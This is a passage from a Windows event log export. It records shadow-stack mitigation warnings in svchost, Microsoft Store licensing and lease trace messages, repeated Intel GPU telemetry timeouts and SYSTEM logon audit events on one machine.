return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf02606ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03228, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf02589fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03220, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.816\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:13:58.313\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:58.313\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:58.319\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.319\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.319\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.319\t8001\t\"0000021F831D39B0: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8011\t0x21f83133e68: 8380: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8011\t0x21f831d39d0: 8380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8001\t\"0000021F831D39B0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8012\t0x21f831d39d0: 8380: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.323\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.323\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"lease = 0x831afa78, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"lease = 0x831afa78, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8011\t0x21f831d39d0: 8380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.326\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"lease = 0x831afa78, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Lease Machine: 0000021F8312A400: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Set results for lease = 0x831afa78, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831afa78\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f831d39d0: 8380: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f8312a420: 8380: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f831d39d0: 16484: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 29.321970 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f831d39d0: 8380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f831d39d0: 8380: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f8312a420: 8380: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:58.328\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.556\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:59.116\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:59.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:00.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:01.356\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:01.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.366\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.586\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.919\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:03.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:03.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:03.920\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:04.144\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:04.227\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:14:04.227\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon 